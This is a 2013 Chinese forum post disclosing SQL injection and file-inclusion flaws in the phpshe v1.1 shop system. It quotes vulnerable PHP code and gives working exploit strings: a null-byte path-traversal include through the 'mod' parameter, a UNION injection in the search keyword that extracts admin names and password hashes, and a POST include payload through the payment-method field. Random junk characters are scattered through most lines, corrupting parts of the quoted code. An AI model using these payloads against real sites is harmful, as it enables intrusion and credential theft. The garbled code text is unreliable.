找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2067|回复: 0
打印 上一主题 下一主题

phpshe v1.1多处SQL注入和文件包含漏洞Getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-16 16:45:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
/*******************************************************/" t: y( Y2 d2 H
/* Phpshe v1.1 Vulnerability, n4 T2 _# X5 K. U) k
/* ========================5 P  D/ f3 |! P, R4 u
/* By: : Kn1f3
. n, n1 [$ _& h3 M) h7 q  C/* E-Mail : 681796@qq.com
4 D( g2 }) u" ^4 h/*******************************************************/* i0 Y8 n0 [! @8 v& n- V$ ^
0×00 整体大概参数传输
5 ?3 O! Q' T+ H' `3 Y
4 B$ z$ L% Q! S( I
" ~% ~+ n! F) ]# ^8 V) B! j4 q
$ ?$ s! `* M# Z" p" G) \
//common.php
; k1 Y  q8 f* H  {if (get_magic_quotes_gpc()) {; V% I. o) W9 @/ \( s
!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');9 O0 C5 N* ~) e7 x; Z& G3 Z' x
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');/ Q' l3 u# z2 M/ d6 X
}6 ~* J% j" ^! T1 [
else {2 n1 e: F! @3 R9 l. W" {
!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
3 [7 B! P7 ?4 N# A( D0 T5 i0 L1 d!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');2 l9 i! z! ^7 B' B
}
6 w" S5 K  a# z$ j: C/ Ssession_start();
# k9 @5 A' N5 s0 e; \# _8 R, a8 d!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');# S1 ]& X, l& ^% [
!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');
* d% j4 V; ^- h/ i/ g3 N) L% Y0 U9 I6 L% b2 Q
0×01 包含漏洞
& r2 |' Z: ^9 k
) N6 {4 ^% r0 Z
/ m  P- T. Y5 f) e4 }( I
//首页文件
. f+ B1 x- m+ Q; m8 z$ ?- L2 g3 F<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
. m6 K: C5 ~) o: G: |# ~& jinclude("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞$ G8 k6 u% F# r0 W0 ]/ R. I( |
pe_result();
* B1 Z: ^- Y6 X3 B?>
- U1 S% Y" q8 V//common 文件 第15行开始
2 j) T' i/ G6 ]/ t* y; x, _url路由配置
/ S' L0 ]" q/ ~( N0 e$module = $mod = $act = 'index';
. K) `# I' ^! ~4 C: M$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
5 J& Y5 t! z7 T# s' A$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
9 Q( r( C" {" J; q8 D$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);0 B5 O# g9 n. s* h: f. K& s, y
//exp:http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00
. e4 I( g2 h+ D$ E% {8 y1 ^

# J0 V. i4 e- y6 }

" H9 G( E, F& R- Y# Y$ b/ l9 x 0×02 搜索注入
+ R; ?% Q# |" ~0 y( c  @4 U8 D - P3 n0 S. x) V7 `  Z
<code id="code2">

//product.php文件( K6 t- f( ~: W4 }, m# r( `2 U) J
case 'list':% c0 S! X( ?" s; R
$category_id = intval($id);
4 I7 X6 L' J$ d: G" g# d  Q3 X$ i$info = $db->pe_select('category', array('category_id'=>$category_id));% K; K- P- }# b/ W
//搜索  ], ?3 K+ E. y. M: j! p. G
$sqlwhere = " and `product_state` = 1";, h, q9 r! ^% t* C  l) {; T
pe_lead('hook/category.hook.php');
( B. l* k% \6 Kif ($category_id) {* [4 i% d2 _) T9 ?
where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";% v7 J/ H: k7 Y% [3 S& m& p9 u4 S
}
+ L7 |" \0 R4 d1 V$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
$ k0 I( J3 j8 t. b; `  z# qif ($_g_orderby) {5 B9 R6 d6 e! q7 D1 }
$orderby = explode('_', $_g_orderby);
/ R3 Q8 [2 f/ U+ ]. D& C0 _$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
5 O- D! G. z# n}, A7 u: Q1 ^& T- A' _; k
else {
7 Z% Q4 G# Q1 Y4 v$sqlwhere .= " order by `product_id` desc";
! b0 O* b" ^* F% e}
7 X: F8 ^  P. a* D! W% h: j$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));9 \6 R) u" P& v
//热卖排行& t# V* M: t( ~3 ~
$product_hotlist = product_hotlist();
  L/ _( e2 j5 ]1 s//当前路径: j' m% h% g8 A; f6 ?/ w
$nowpath = category_path($category_id);/ N/ o' k8 ?( e1 U  l; h
$seo = pe_seo($info['category_name']);
( J0 r: ^( F1 V9 _8 v' winclude(pe_tpl('product_list.html'));2 J7 I3 m* c" j# d
//跟进selectall函数库) a3 F  G3 ], M2 o7 v- w
public function pe_selectall($table, $where = '', $field = '*', $limit_page = array()); _- P5 N0 D1 `: T0 l
{
6 m$ j" c3 M' z* Q6 z4 n2 ?+ [//处理条件语句
9 Q# c' t- z* \0 }1 x$sqlwhere = $this->_dowhere($where);+ N' o  Y  L& a: k% A% Z
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);6 O6 D0 I- B/ e5 b7 ]
}
' j1 g) J$ M( \2 U& r//exp
* T. ~% y" l$ [- p! [' n& Q& wproduct/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1; C. j7 X3 B( q! V3 y8 x

</code>2 c$ x  A6 ?  w' K6 y
2 h/ t, k" C$ f) f8 ?8 G
0×03 包含漏洞2
$ |5 k* L2 D9 u7 `
. i! Y* E. O6 w# E* {% F1 i! I<code id="code3">

//order.php

case 'pay':

; Y5 W3 P" A% U6 }3 L
$order_id = pe_dbhold($_g_id);


( t0 W6 `" i8 D6 }$cache_payway = cache::get('payway');

$ n2 E; {6 C8 |* @" K
foreach($cache_payway as $k => $v) {


" d0 q( n! q4 ^( f1 U5 D$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

; B0 O4 Q, J8 l; j
if ($k == 'bank') {

5 p8 ~' m, k  P2 ~1 L9 M
$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);


( D) c* I4 j! k- L4 x4 D}

7 l' C3 m( {% k+ x, h
}

1 r! D  Y' E0 p  {' S
$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));


3 a6 C+ P  d+ n- Q+ @- v3 M!$order['order_id'] && pe_error('订单号错误...');

7 h# {: ^! ?) G  h
if (isset($_p_pesubmit)) {

; [9 y% |+ o. c7 u, E
if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {


0 r2 S! m  y3 M$ O5 z' k5 x$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));


8 g4 T5 u6 Q, w  wforeach ($info_list as $v) {

" L. P$ t5 R* I& B: Y/ u
$order['order_name'] .= "{$v['product_name']};";
/ J7 N% X1 v8 A) ~& d8 i/ E) h


% v" s2 o+ S6 y) |1 O$ H5 t. i/ t6 V}

2 s" ?2 b8 x9 Q8 n% s
echo '正在为您连接支付网站,请稍后...';


+ k- `* F; l. ]4 W5 \% A% F' hinclude("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

- H: ~1 ]$ b0 j& q) t: Q8 m  y
}//当一切准备好的时候就可以进行"鸡肋包含了"

; d2 \4 |: N$ i1 b' v8 B& D
else {


& z1 Q( {: T$ C) N- Mpe_error('支付错误...');


/ p& p9 B# C9 E' n4 m  t}

6 @  j+ Y7 |" j9 U
}


! W, V7 S' Z1 ?$seo = pe_seo('选择支付方式');


9 z5 D7 g, {$ F+ p# hinclude(pe_tpl('order_pay.html'));


- h* f0 b1 f5 S2 i% ]break;

}

//exp:

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
1 c' x8 J/ E( [- s, }+ q- \1 Yhttp://www.myhack58.com/Article/UploadPic/2013-4/20134161293183866.jpg

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表